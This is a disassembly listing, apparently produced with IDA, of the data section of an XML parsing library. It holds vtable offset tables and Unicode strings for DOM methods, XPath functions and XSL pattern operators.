		dd offset loc_69B52A6C
		dd offset loc_69B52A76
		dd offset loc_69B52A80
		dd offset loc_69B52A8A
		dd offset loc_69B52A94
		dd offset loc_69B52A9E
		dd offset loc_69B52AA8
		dd offset loc_69B52AB2
		dd offset loc_69B52ABC
		dd offset loc_69B52AC6
		dd offset loc_69B52AD0
		dd offset loc_69B52ADA
		dd offset loc_69B52AE4
		dd offset loc_69B5467C
		dd offset loc_69B52AEE
		dd offset loc_69B52AF8
		dd offset loc_69B52B02
		dd offset loc_69B52B0C
		dd offset loc_69B52B16
		dd offset loc_69B52B20
		dd offset loc_69B52B2A
		dd offset loc_69B52B34
		dd offset loc_69B52B3E
		dd offset loc_69B52B48
		dd offset loc_69B52B52
		dd offset loc_69B52B5C
		dd offset loc_69B52B66
		dd offset loc_69B52B70
		dd offset loc_69B52B7A
		dd offset loc_69B52B84
		dd offset loc_69B52B8E
		dd offset loc_69B52B98
		dd offset loc_69B52BA2
		align 10h
off_69B28680	dd offset loc_69B52864	; DATA XREF: sub_69B51E15+1Bo
					; sub_69B53388+21o
		dd offset loc_69B53284
		dd offset loc_69B5334C
		dd offset loc_69B5286E
		dd offset loc_69B52878
		dd offset loc_69B52882
		dd offset loc_69B5288C
		dd offset loc_69B52896
		dd offset loc_69B528A0
		dd offset loc_69B528AA
		dd offset loc_69B528B4
		dd offset loc_69B528BE
		dd offset loc_69B528C8
		dd offset loc_69B528D2
		dd offset loc_69B528DC
		dd offset loc_69B528E6
		dd offset loc_69B528F0
		dd offset loc_69B528FA
		dd offset loc_69B52904
		dd offset loc_69B5290E
		dd offset loc_69B52918
		dd offset loc_69B52922
		dd offset loc_69B5292C
		dd offset loc_69B5464A
		dd offset loc_69B52936
		dd offset loc_69B52940
		dd offset loc_69B5294A
		dd offset loc_69B52954
		dd offset loc_69B5295E
		dd offset loc_69B52968
		dd offset loc_69B52972
		dd offset loc_69B5297C
		dd offset loc_69B52986
		dd offset loc_69B52990
		dd offset loc_69B5299A
		dd offset loc_69B529A4
		dd offset loc_69B529AE
		dd offset loc_69B529B8
		dd offset loc_69B529C2
		dd offset loc_69B529CC
		dd offset loc_69B529D6
		dd offset loc_69B529E0
		dd offset loc_69B529EA
		dd offset loc_69B529F4
		dd offset loc_69B529FE
		dd offset loc_69B54654
		dd offset loc_69B5465E
		dd offset loc_69B54668
		dd offset loc_69B52A08
		dd offset loc_69B52A12
		dd offset loc_69B54672
		dd offset loc_69B54104
off_69B28750	dd offset loc_69B526C0	; DATA XREF: sub_69B51E15+14o
					; sub_69B53388+1Ao
		dd offset loc_69B5327D
		dd offset loc_69B53342
		dd offset loc_69B526CA
		dd offset loc_69B526D4
		dd offset loc_69B526DE
		dd offset loc_69B526E8
		dd offset loc_69B526F2
		dd offset loc_69B526FC
		dd offset loc_69B52706
		dd offset loc_69B52710
		dd offset loc_69B5271A
		dd offset loc_69B52724
		dd offset loc_69B5272E
		dd offset loc_69B52738
		dd offset loc_69B52742
		dd offset loc_69B5274C
		dd offset loc_69B52756
		dd offset loc_69B52760
		dd offset loc_69B5276A
		dd offset loc_69B52774
		dd offset loc_69B5277E
		dd offset loc_69B52788
		dd offset loc_69B54640
		dd offset loc_69B52792
		dd offset loc_69B5279C
		dd offset loc_69B527A6
		dd offset loc_69B527B0
		dd offset loc_69B527BA
		dd offset loc_69B527C4
		dd offset loc_69B527CE
		dd offset loc_69B527D8
		dd offset loc_69B527E2
		dd offset loc_69B527EC
		dd offset loc_69B527F6
		dd offset loc_69B52800
		dd offset loc_69B5280A
		dd offset loc_69B52814
		dd offset loc_69B5281E
		dd offset loc_69B52828
		dd offset loc_69B52832
		dd offset loc_69B5283C
		dd offset loc_69B52846
		dd offset loc_69B52850
		dd offset loc_69B5285A
		dd offset loc_69B53BC4
		dd offset loc_69B53C84
		dd offset loc_69B53DCC
		dd offset sub_69B522E1
		dd offset sub_69B52313
		dd offset sub_69B53ECC
		align 10h
off_69B28820	dd offset loc_69B52530	; DATA XREF: sub_69B51E15+Do
					; sub_69B53388+13o
		dd offset loc_69B53276
		dd offset loc_69B53338
		dd offset loc_69B5253A
		dd offset loc_69B52544
		dd offset loc_69B5254E
		dd offset loc_69B52558
		dd offset loc_69B52562
		dd offset loc_69B5256C
		dd offset loc_69B52576
		dd offset loc_69B52580
		dd offset loc_69B5258A
		dd offset loc_69B52594
		dd offset loc_69B5259E
		dd offset loc_69B525A8
		dd offset loc_69B525B2
		dd offset loc_69B525BC
		dd offset loc_69B525C6
		dd offset loc_69B525D0
		dd offset loc_69B525DA
		dd offset loc_69B525E4
		dd offset loc_69B525EE
		dd offset loc_69B525F8
		dd offset loc_69B54636
		dd offset loc_69B52602
		dd offset loc_69B5260C
		dd offset loc_69B52616
		dd offset loc_69B52620
		dd offset loc_69B5262A
		dd offset loc_69B52634
		dd offset loc_69B5263E
		dd offset loc_69B52648
		dd offset loc_69B52652
		dd offset loc_69B5265C
		dd offset loc_69B52666
		dd offset loc_69B52670
		dd offset loc_69B5267A
		dd offset loc_69B52684
		dd offset loc_69B5268E
		dd offset loc_69B52698
		dd offset loc_69B526A2
		dd offset loc_69B526AC
		dd offset loc_69B526B6
		dd offset loc_69B52278
		dd offset sub_69B5228C
		dd offset sub_69B522CD
off_69B288D8	dd offset loc_69B523A0	; DATA XREF: sub_69B51E15+6o
					; sub_69B53388+Co
		dd offset loc_69B5326F
		dd offset loc_69B53331
		dd offset loc_69B523AA
		dd offset loc_69B523B4
		dd offset loc_69B523BE
		dd offset loc_69B523C8
		dd offset loc_69B523D2
		dd offset loc_69B523DC
		dd offset loc_69B523E6
		dd offset loc_69B523F0
		dd offset loc_69B523FA
		dd offset loc_69B52404
		dd offset loc_69B5240E
		dd offset loc_69B52418
		dd offset loc_69B52422
		dd offset loc_69B5242C
		dd offset loc_69B52436
		dd offset loc_69B52440
		dd offset loc_69B5244A
		dd offset loc_69B52454
		dd offset loc_69B5245E
		dd offset loc_69B52468
		dd offset loc_69B5462C
		dd offset loc_69B52472
		dd offset loc_69B5247C
		dd offset loc_69B52486
		dd offset loc_69B52490
		dd offset loc_69B5249A
		dd offset loc_69B524A4
		dd offset loc_69B524AE
		dd offset loc_69B524B8
		dd offset loc_69B524C2
		dd offset loc_69B524CC
		dd offset loc_69B524D6
		dd offset loc_69B524E0
		dd offset loc_69B524EA
		dd offset loc_69B524F4
		dd offset loc_69B524FE
		dd offset loc_69B52508
		dd offset loc_69B52512
		dd offset loc_69B5251C
		dd offset loc_69B52526
		dd offset sub_69B5232D
		dd offset sub_69B52243
		dd offset sub_69B52257
off_69B28990	dd offset sub_69B51E5B	; DATA XREF: sub_69B51E15o
					; sub_69B53388+6o
		dd offset sub_69B5320E
		dd offset sub_69B532BD
		dd offset sub_69B51E72
		dd offset sub_69B51E86
		dd offset sub_69B51EA2
		dd offset sub_69B51EC4
		dd offset sub_69B52204
		dd offset sub_69B51F03
		dd offset sub_69B51F17
		dd offset sub_69B51EEF
		dd offset sub_69B51F38
		dd offset sub_69B51F4C
		dd offset sub_69B51F60
		dd offset sub_69B51F74
		dd offset sub_69B51F88
		dd offset sub_69B51F9C
		dd offset sub_69B52025
		dd offset sub_69B51FB0
		dd offset sub_69B51FD9
		dd offset sub_69B51FF5
		dd offset sub_69B5200D
		dd offset sub_69B52039
		dd offset sub_69B533E0
		dd offset sub_69B5204D
		dd offset sub_69B52065
		dd offset sub_69B52079
		dd offset sub_69B5208D
		dd offset sub_69B5222F
		dd offset sub_69B520A1
		dd offset sub_69B520B5
		dd offset sub_69B520C9
		dd offset sub_69B520EA
		dd offset sub_69B52101
		dd offset sub_69B52118
		dd offset sub_69B5212F
		dd offset sub_69B5214A
		dd offset sub_69B52165
		dd offset sub_69B52180
		dd offset sub_69B52197
		dd offset sub_69B521AE
		dd offset sub_69B521C5
		dd offset sub_69B521DC
		dd offset sub_69B52204
		dd offset sub_69B53494
		dd offset sub_69B535B4
		dd offset sub_69B536DC
		dd offset sub_69B537CC
		dd offset sub_69B538B4
		dd offset sub_69B539EC
		dd offset sub_69B52218
		dd offset sub_69B53B0C
off_69B28A60	dd offset sub_69B54B0B	; DATA XREF: sub_69B549EC+12o
					; sub_69B54ADC+10o
aSetproperty:				; DATA XREF: .data:69B99570o
					; .data:69B99960o
		unicode	0, <setProperty>,0
aRemovenext:				; DATA XREF: .data:69B99540o
		unicode	0, <removeNext>,0
		align 4
aRemoveall:				; DATA XREF: .data:69B99528o
		unicode	0, <removeAll>,0
aPeeknode:				; DATA XREF: .data:69B99510o
		unicode	0, <peekNode>,0
		align 4
aMatches:				; DATA XREF: .data:69B994E0o
		unicode	0, <matches>,0
aGetproperty:				; DATA XREF: .data:69B99498o
					; .data:69B997F8o
		unicode	0, <getProperty>,0
aExpr:					; DATA XREF: .data:69B99480o
		unicode	0, <expr>,0
		align 10h
aContext:				; DATA XREF: sub_69B60C8B:loc_69B60D47o
					; .text:69B61E68o ...
		unicode	0, <context>,0
aClone:					; DATA XREF: .data:off_69B99450o
		unicode	0, <clone>,0
off_69B28B0C	dd offset sub_69B5654C	; DATA XREF: sub_69B56167+15o
					; sub_69B56509+18o ...
aCdata:					; DATA XREF: sub_69B60C8B:loc_69B60F99o
					; .text:69B61E58o ...
		unicode	0, <cdata>,0
aValidateonpars:			; DATA XREF: .data:69B999A8o
		unicode	0, <validateOnParse>,0
aValidate:				; DATA XREF: .data:69B99990o
		unicode	0, <validate>,0
		align 10h
aUrl:					; DATA XREF: .data:69B99978o
					; .data:69B99C50o
		unicode	0, <url>,0
aSchemas:				; DATA XREF: .data:69B99948o
		unicode	0, <schemas>,0
aSave:					; DATA XREF: .data:69B99930o
		unicode	0, <save>,0
		align 4
aResolveexterna:			; DATA XREF: .data:69B99918o
		unicode	0, <resolveExternals>,0
		align 4
aPreservewhites:			; DATA XREF: .data:69B998E8o
		unicode	0, <preserveWhiteSpace>,0
		align 10h
aParseerror:				; DATA XREF: .data:69B998D0o
		unicode	0, <parseError>,0
		align 4
aNodefromid:				; DATA XREF: .data:69B99870o
		unicode	0, <nodeFromID>,0
		align 10h
aNamespaces:				; DATA XREF: .data:69B99858o
		unicode	0, <namespaces>,0
		align 4
aLoadxml:				; DATA XREF: .data:69B99840o
		unicode	0, <loadXML>,0
aLoad:					; DATA XREF: .data:69B99828o
		unicode	0, <load>,0
		align 4
aImplementation:			; DATA XREF: .data:69B99810o
		unicode	0, <implementation>,0
		align 4
aDocumentelemen:			; DATA XREF: .data:69B997C8o
		unicode	0, <documentElement>,0
aDoctype_2:				; DATA XREF: .data:69B997B0o
		unicode	0, <doctype>,0
aCreatetextnode:			; DATA XREF: .data:69B99798o
		unicode	0, <createTextNode>,0
		align 4
aCreateprocessi:			; DATA XREF: .data:69B99780o
		unicode	0, <createProcessingInstruction>,0
aCreatenode:				; DATA XREF: .data:69B99768o
		unicode	0, <createNode>,0
		align 4
aCreateentityre:			; DATA XREF: .data:69B99750o
		unicode	0, <createEntityReference>,0
aCreateelement:				; DATA XREF: .data:69B99738o
		unicode	0, <createElement>,0
aCreatedocument:			; DATA XREF: .data:69B99720o
		unicode	0, <createDocumentFragment>,0
		align 4
aCreatecomment:				; DATA XREF: .data:69B99708o
		unicode	0, <createComment>,0
aCreatecdatasec:			; DATA XREF: .data:69B996F0o
		unicode	0, <createCDATASection>,0
		align 10h
aCreateattribut:			; DATA XREF: .data:69B996D8o
		unicode	0, <createAttribute>,0
aAsync:					; DATA XREF: .data:69B996C0o
		unicode	0, <async>,0
aAbort:					; DATA XREF: .data:off_69B996A8o
		unicode	0, <abort>,0
dword_69B28DD8	dd 0D97A6DA0h, 11CFA864h, 0A000BE83h, 0D82B0CC9h
					; DATA XREF: sub_69B4311C+11Co
					; sub_69B46AC0+A8o ...
off_69B28DE8	dd offset loc_69B598D7	; DATA XREF: sub_69B592CE+45o
					; sub_69B59833+3Do
		dd offset loc_69B598E1
		dd offset loc_69B597F6
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B59800
		dd offset sub_69B5980A
		dd offset sub_69B56F58
		dd offset sub_69B43832
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B28E24	dd offset loc_69B597F1	; DATA XREF: sub_69B592CE+3Eo
					; sub_69B59833+36o
off_69B28E28	dd offset loc_69B598C6	; DATA XREF: sub_69B592CE+37o
					; sub_69B59833+2Fo
		dd offset loc_69B598D0
		dd offset loc_69B597E7
		dd offset sub_69B2CF0E
off_69B28E38	dd offset loc_69B59814	; DATA XREF: sub_69B592CE+30o
					; sub_69B59833+23o
off_69B28E3C	dd offset loc_69B5989A	; DATA XREF: sub_69B592CE+29o
					; sub_69B59833+1Co
		dd offset loc_69B598A4
		dd offset loc_69B59661
		dd offset sub_69B2CF0E
		align 10h
off_69B28E50	dd offset sub_69B570DC	; DATA XREF: sub_69B592CE+23o
					; sub_69B59833+15o
		dd offset sub_69B5988B
		dd offset sub_69B59321
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B56828
		dd offset sub_69B56895
		dd offset sub_69B59345
		dd offset sub_69B59359
		dd offset sub_69B5936D
		dd offset sub_69B59331
		dd offset sub_69B5938E
		dd offset sub_69B593A2
		dd offset sub_69B593B6
		dd offset sub_69B593CA
		dd offset sub_69B593DE
		dd offset sub_69B593F2
		dd offset sub_69B5947B
		dd offset sub_69B59406
		dd offset sub_69B5942F
		dd offset sub_69B5944B
		dd offset sub_69B59463
		dd offset sub_69B5948F
		dd offset sub_69B594A3
		dd offset sub_69B57136
		dd offset sub_69B594B7
		dd offset sub_69B594CB
		dd offset sub_69B594DF
		dd offset sub_69B594F3
		dd offset sub_69B59507
		dd offset sub_69B5951B
		dd offset sub_69B5952F
		dd offset sub_69B59550
		dd offset sub_69B59564
		dd offset sub_69B59578
		dd offset sub_69B5958C
		dd offset sub_69B595A4
		dd offset sub_69B595BC
		dd offset sub_69B595D4
		dd offset sub_69B595E8
		dd offset sub_69B595FC
		dd offset sub_69B59610
		dd offset sub_69B59624
		dd offset sub_69B571EC
		dd offset sub_69B572C4
		dd offset sub_69B57444
		dd offset sub_69B57374
		dd offset sub_69B57504
		dd offset sub_69B575F7
		dd offset sub_69B5765D
		dd offset sub_69B576C4
		dd offset sub_69B5772B
		dd offset sub_69B57792
		dd offset sub_69B5757D
		dd offset sub_69B57894
		dd offset sub_69B59649
		dd offset sub_69B57908
		dd offset sub_69B57A74
		dd offset sub_69B57B5C
		dd offset sub_69B57EB0
		dd offset sub_69B57F64
		dd offset sub_69B58034
		dd offset sub_69B5810C
		dd offset sub_69B5816D
		dd offset sub_69B581CE
		dd offset sub_69B58274
		dd offset sub_69B583A8
		dd offset sub_69B585FC
		dd offset sub_69B5869C
		dd offset sub_69B5874C
		dd offset sub_69B587EC
		dd offset sub_69B5889C
		dd offset sub_69B5893C
		dd offset sub_69B589EC
		dd offset sub_69B58ACC
		dd offset sub_69B58BA4
		dd offset sub_69B58C7C
		dd offset sub_69B58D74
		dd offset sub_69B591E4
		dd offset sub_69B58E4C
		dd offset sub_69B59028
		dd offset sub_69B5911C
off_69B28F98	dd offset loc_69B598AB	; DATA XREF: sub_69B592CE+1Co
					; sub_69B59833+29o
		dd offset loc_69B598B5
		dd offset loc_69B5966B
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B59675
		dd offset sub_69B5967F
		dd offset sub_69B59689
		dd offset sub_69B59693
		dd offset sub_69B5969D
		dd offset sub_69B596A7
		dd offset sub_69B596B1
		dd offset sub_69B596BB
		dd offset sub_69B596C5
		dd offset sub_69B596CF
		dd offset sub_69B596D9
		dd offset sub_69B596E3
		dd offset sub_69B596ED
		dd offset sub_69B596F7
		dd offset sub_69B59701
		dd offset sub_69B5970B
		dd offset sub_69B59715
		dd offset sub_69B5971F
		dd offset sub_69B59729
		dd offset sub_69B598BC
		dd offset sub_69B59733
		dd offset sub_69B5973D
		dd offset sub_69B59747
		dd offset sub_69B59751
		dd offset sub_69B5975B
		dd offset sub_69B59765
		dd offset sub_69B5976F
		dd offset sub_69B59779
		dd offset sub_69B59783
		dd offset sub_69B5978D
		dd offset sub_69B59797
		dd offset sub_69B597A1
		dd offset sub_69B597AB
		dd offset sub_69B597B5
		dd offset sub_69B597BF
		dd offset sub_69B597C9
		dd offset sub_69B597D3
		dd offset sub_69B597DD
aXml_1:					; DATA XREF: sub_69B59F43+1Eo
					; sub_69B5DAE5+102o
		unicode	0, <XML>,0
off_69B2904C	dd offset sub_69B5A110	; DATA XREF: sub_69B5A06D+1Co
					; sub_69B5A168+14o
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B5A094
		dd offset sub_69B5A0AF
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B29088	dd offset sub_69B5A149	; DATA XREF: sub_69B5A06D+15o
					; sub_69B5A168+Eo
off_69B2908C	dd offset sub_69B5A0F2	; DATA XREF: sub_69B3C290+Eo
					; sub_69B3CDC8+15o ...
		dd offset sub_69B5A0FC
		dd offset sub_69B5A106
		dd offset sub_69B2CF0E
aSrctext:				; DATA XREF: .data:69B99C38o
		unicode	0, <srcText>,0
aReason:				; DATA XREF: .data:69B99C20o
		unicode	0, <reason>,0
		align 4
aLinepos:				; DATA XREF: .data:69B99C08o
		unicode	0, <linepos>,0
aLine:					; DATA XREF: .data:69B99BF0o
		unicode	0, <line>,0
		align 4
aFilepos:				; DATA XREF: .data:69B99BD8o
		unicode	0, <filepos>,0
off_69B290E8	dd offset sub_69B5A110	; DATA XREF: sub_69B5A7CD+23o
					; sub_69B5A86B+1Bo
		dd offset sub_69B43BC0
		dd offset sub_69B5A11A
		dd offset sub_69B5A124
		dd offset sub_69B5A12B
		dd offset sub_69B5A135
		dd offset sub_69B5A13F
		dd offset sub_69B5A802
		dd offset sub_69B5A81D
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B29124	dd offset loc_69B5A84C	; DATA XREF: sub_69B5A7CD+1Co
					; sub_69B5A86B+15o
off_69B29128	dd offset loc_69B5CEC5	; DATA XREF: sub_69B5CDA6+18o
					; sub_69B5CE3E+16o
; char aXmldocument_0[]
aXmldocument_0	db 'XMLDocument',0      ; DATA XREF: sub_69B5D064+72o
					; sub_69B5E40C+8Ao
off_69B29138	dd offset loc_69B5D31E	; DATA XREF: sub_69B5D774+28o
					; sub_69B5D8D8+24o
off_69B2913C	dd offset loc_69B5D2EC+4 ; DATA	XREF: sub_69B5D774+21o
					; sub_69B5D8D8+1Do
		dd offset loc_69B5CEE4
off_69B29144	dd offset loc_69B5D8CE	; DATA XREF: sub_69B5D774+1Ao
					; sub_69B5D8D8+16o
		dd offset sub_69B7099E
		dd offset sub_69B709A8
		dd offset sub_69B5D7FC
		dd offset sub_69B5D819
		dd offset sub_69B5D83E
		dd offset sub_69B5D869
		dd offset sub_69B5CF5F
		dd offset sub_69B5D89D
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B29180	dd offset loc_69B5DA7C	; DATA XREF: sub_69B5D774+13o
					; sub_69B5D8D8+10o
; OLECHAR aOnpropertychan
aOnpropertychan:			; DATA XREF: sub_69B5D8D8+46o
					; sub_69B5E892+97o
		unicode	0, <onpropertychange>,0
		align 4
; OLECHAR aXmldocument
aXmldocument:				; DATA XREF: sub_69B5DAE5+Bo
					; sub_69B7E2EC+50o ...
		unicode	0, <XMLDocument>,0
off_69B291C0	dd offset loc_69B5E0B4	; DATA XREF: sub_69B5E06D+13o
					; sub_69B5E228+17o
		dd offset loc_69B5E0BE
		dd offset loc_69B5E2E3
		dd offset sub_69B5DE1B
		dd offset sub_69B5DE5F
off_69B291D4	dd offset sub_69B5E0A0	; DATA XREF: sub_69B5E06D+Co
					; sub_69B5E228+10o
		dd offset sub_69B5E0AA
		dd offset sub_69B5E2DC
		dd offset sub_69B5DFF8
		dd offset sub_69B5E3D0
		dd offset sub_69B5E40C
		align 10h
off_69B291F0	dd offset sub_69B5DD72	; DATA XREF: sub_69B5E06D+6o
					; sub_69B5E228+Ao
		dd offset sub_69B5DE06
		dd offset sub_69B5E266
		dd offset sub_69B5DEB1
		dd offset sub_69B5DEDE
		dd offset sub_69B5DF0F
		dd offset sub_69B5DF1F
		dd offset sub_69B5DF3A
		dd offset sub_69B5DF4A
		dd offset sub_69B365E3
		dd offset sub_69B5DFE0
		dd offset sub_69B84A3B
		dd offset sub_69B84A43
		dd offset sub_69B84A43
		dd offset sub_69B84A4B
		dd offset sub_69B84A3B
off_69B29230	dd offset sub_69B5E365	; DATA XREF: sub_69B5E296+Ao
					; sub_69B5E330+1Do
off_69B29234	dd offset sub_69B5E7DF	; DATA XREF: sub_69B5E67Do
					; sub_69B5E861+1Ao
		dd offset sub_69B5E61C
		dd offset sub_69B5E62C
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B365EB
		dd offset sub_69B5E691
		dd offset sub_69B5E846
aSelf:					; DATA XREF: .text:69B5EB70o
					; sub_69B60C8B:loc_69B60D8Do
		unicode	0, <self>,0
		align 10h
aParent:				; DATA XREF: .text:69B5EB68o
					; sub_69B60C8B:loc_69B60D83o
		unicode	0, <parent>,0
		align 10h
aDescendantOrSe:			; DATA XREF: .text:69B5EB60o
					; sub_69B60C8B:loc_69B60D6Fo
		unicode	0, <descendant-or-self>,0
		align 4
aDescendant:				; DATA XREF: .text:69B5EB58o
					; sub_69B60C8B:loc_69B60D65o
		unicode	0, <descendant>,0
		align 10h
aChild:					; DATA XREF: .text:69B5EB50o
					; sub_69B60C8B:loc_69B60D5Bo
		unicode	0, <child>,0
aAncestorOrSelf:			; DATA XREF: .text:69B5EB40o
					; sub_69B60C8B:loc_69B60D51o
		unicode	0, <ancestor-or-self>,0
		align 10h
aAncestor:				; DATA XREF: .text:off_69B5EB38o
					; sub_69B60C8B:loc_69B60D01o ...
		unicode	0, <ancestor>,0
		align 4
aTranslate:				; DATA XREF: .text:69B5EEB0o
					; sub_69B60C8B:loc_69B60EAFo ...
		unicode	0, <translate>,0
aSystemProperty:			; DATA XREF: .text:69B5EEA8o
					; sub_69B60C8B:loc_69B60E23o ...
		unicode	0, <system-property>,0
aSubstringBefor:			; DATA XREF: .text:69B5EEA0o
					; sub_69B60C8B:loc_69B60E7Do ...
		unicode	0, <substring-before>,0
		align 4
aSubstringAfter:			; DATA XREF: .text:69B5EE98o
					; sub_69B60C8B:loc_69B60E87o ...
		unicode	0, <substring-after>,0
aSubstring:				; DATA XREF: .text:69B5EE90o
					; sub_69B60C8B:loc_69B60E91o ...
		unicode	0, <substring>,0
aStringLength:				; DATA XREF: .text:69B5EE88o
					; sub_69B60C8B:loc_69B60E9Bo ...
		unicode	0, <string-length>,0
aStartsWith:				; DATA XREF: .text:69B5EE78o
					; sub_69B60C8B:loc_69B60E69o ...
		unicode	0, <starts-with>,0
aPosition:				; DATA XREF: .text:69B5EE70o
					; sub_69B60C8B:loc_69B60DC9o ...
		unicode	0, <position>,0
		align 4
aNormalizeSpace:			; DATA XREF: .text:69B5EE58o
					; sub_69B60C8B:loc_69B60EA5o ...
		unicode	0, <normalize-space>,0
aNamespaceUri:				; DATA XREF: .text:69B5EE50o
					; sub_69B60C8B:loc_69B60DE7o ...
		unicode	0, <namespace-uri>,0
aLocalName:				; DATA XREF: .text:69B5EE40o
					; sub_69B60C8B:loc_69B60DDDo ...
		unicode	0, <local-name>,0
		align 4
aLast:					; DATA XREF: .text:69B5EE38o
					; sub_69B60C8B:loc_69B60DBFo ...
		unicode	0, <last>,0
		align 4
aFunctionAvaila:			; DATA XREF: .text:69B5EE28o
					; sub_69B60C8B:loc_69B60E37o ...
		unicode	0, <function-available>,0
		align 10h
aFormatnumber:				; DATA XREF: .text:69B5EE20o
					; sub_69B60C8B:loc_69B60E55o ...
		unicode	0, <formatNumber>,0
		align 4
aFormatNumber:				; DATA XREF: .text:69B5EE18o
					; sub_69B60C8B:loc_69B60E4Bo ...
		unicode	0, <format-number>,0
aElementAvailab:			; DATA XREF: .text:69B5EE08o
					; sub_69B60C8B:loc_69B60E41o ...
		unicode	0, <element-available>,0
aCurrent:				; DATA XREF: .text:69B5EE00o
					; sub_69B60C8B:loc_69B60E19o ...
		unicode	0, <current>,0
aCount:					; DATA XREF: .text:69B5EDF8o
					; sub_69B60C8B:loc_69B60DD3o ...
		unicode	0, <count>,0
aContains:				; DATA XREF: .text:69B5EDF0o
					; sub_69B60C8B:loc_69B60E73o ...
		unicode	0, <contains>,0
		align 4
aConcat:				; DATA XREF: .text:69B5EDE8o
					; sub_69B60C8B:loc_69B60E5Fo ...
		unicode	0, <concat>,0
		align 4
off_69B294EC	dd offset loc_69B5EFFA	; DATA XREF: sub_69B5EFB0+9o
					; sub_69B5F0BE+9o ...
		dd offset sub_69B5F092
		dd offset sub_69B5F09C
		dd offset sub_69B624A2
asc_69B294FC:				; DATA XREF: sub_69B60C8B:loc_69B60F49o
					; .text:69B61F08o
		unicode	0, <||>,0
		align 4
aValue:					; DATA XREF: sub_69B60C8B:loc_69B60EB9o
					; .text:69B61EF8o
		unicode	0, <value>,0
aTextnode_0:				; DATA XREF: sub_69B60C8B:loc_69B60F71o
					; .text:69B61EF0o
		unicode	0, <textnode>,0
		align 4
aTextnode:				; DATA XREF: sub_69B60C8B:loc_69B60CCFo
					; .text:69B61EE8o
		unicode	0, <textNode>,0
		align 4
aNode:					; DATA XREF: sub_69B60C8B:loc_69B60FB7o
					; .text:69B61EA0o
		unicode	0, <node>,0
		align 4
aIndex:					; DATA XREF: sub_69B60C8B:loc_69B60CEDo
					; .text:69B61E98o
		unicode	0, <index>,0
aEof:					; DATA XREF: sub_69B60C8B:loc_69B61057o
					; .text:69B61E88o
		unicode	0, <eof>,0
aEnd:					; DATA XREF: sub_69B60C8B:loc_69B60CF7o
					; .text:69B61E80o
		unicode	0, <end>,0
asc_69B29560:				; DATA XREF: sub_69B60C8B:loc_69B61174o
					; .text:69B61E38o
		unicode	0, <]>,0
aString_0:				; DATA XREF: sub_69B60C8B:loc_69B6107Fo
					; .text:69B61E28o
		unicode	0, <STRING>,0
		align 4
aNumber_0:				; DATA XREF: sub_69B60C8B:loc_69B60FFDo
					; .text:69B61E20o
		unicode	0, <NUMBER>,0
		align 4
aName_0:				; DATA XREF: sub_69B60C8B:loc_69B61075o
					; .text:69B61E18o
		unicode	0, <NAME>,0
		align 10h
dword_69B29590	dd 40h							; .text:69B61E10o
asc_69B29594:				; DATA XREF: sub_69B60C8B:loc_69B60EF9o
					; .text:69B61E08o
		dw 3Eh
		unicode	0, <=>,0
		align 4
; const	WCHAR dword_69B2959C
dword_69B2959C	dd 3Dh							; .text:69B61DF8o ...
asc_69B295A0:				; DATA XREF: sub_69B60C8B:loc_69B60EEFo
					; .text:69B61DF0o
		dw 3Ch
		unicode	0, <=>,0
		align 4
; const	WCHAR dword_69B295A8
dword_69B295A8	dd 3Ch							; .text:69B61DE8o ...
; const	WCHAR dword_69B295AC
dword_69B295AC	dd 3Bh							; .text:69B61DE0o ...
asc_69B295B0:				; DATA XREF: sub_69B60C8B:loc_69B6106Bo
					; .text:69B61DD0o
		unicode	0, <//>,0
		align 4
a__:					; DATA XREF: sub_69B60C8B:loc_69B61061o
					; .text:69B61DC0o
		unicode	0, <..>,0
		align 10h
dword_69B295C0	dd 2Eh							; .text:69B61DB8o ...
asc_69B295C4:				; DATA XREF: sub_69B60C8B:loc_69B60F3Fo
					; .text:69B61D78o
		unicode	0, <&&>,0
		align 4
aOr:					; DATA XREF: sub_69B60C8B:loc_69B60CBBo
					; .text:69B61D70o
		unicode	0, <$or$>,0
		align 4
aNot:					; DATA XREF: sub_69B60C8B:loc_69B60CC5o
					; .text:69B61D68o
		unicode	0, <$not$>,0
aNe:					; DATA XREF: sub_69B60C8B:loc_69B60F0Do
					; .text:69B61D60o
		unicode	0, <$ne$>,0
		align 10h
aLt_0:					; DATA XREF: sub_69B60C8B:loc_69B60F17o
					; .text:69B61D58o
		unicode	0, <$lt$>,0
		align 4
aLe:					; DATA XREF: sub_69B60C8B:loc_69B60F21o
					; .text:69B61D50o
		unicode	0, <$le$>,0
		align 4
aIne:					; DATA XREF: sub_69B60C8B:loc_69B60FCBo
					; .text:69B61D48o
		unicode	0, <$ine$>,0
aIlt:					; DATA XREF: sub_69B60C8B:loc_69B60FD5o
					; .text:69B61D40o
		unicode	0, <$ilt$>,0
aIle:					; DATA XREF: sub_69B60C8B:loc_69B60FDFo
					; .text:69B61D38o
		unicode	0, <$ile$>,0
aIgt:					; DATA XREF: sub_69B60C8B:loc_69B60FF3o
					; .text:69B61D30o
		unicode	0, <$igt$>,0
aIge:					; DATA XREF: sub_69B60C8B:loc_69B60FE9o
					; .text:69B61D28o
		unicode	0, <$ige$>,0
aIeq:					; DATA XREF: sub_69B60C8B:loc_69B60FC1o
					; .text:69B61D20o
		unicode	0, <$ieq$>,0
aGt_0:					; DATA XREF: sub_69B60C8B:loc_69B60F35o
					; .text:69B61D18o
		unicode	0, <$gt$>,0
		align 4
aGe:					; DATA XREF: sub_69B60C8B:loc_69B60F2Bo
					; .text:69B61D10o
		unicode	0, <$ge$>,0
		align 4
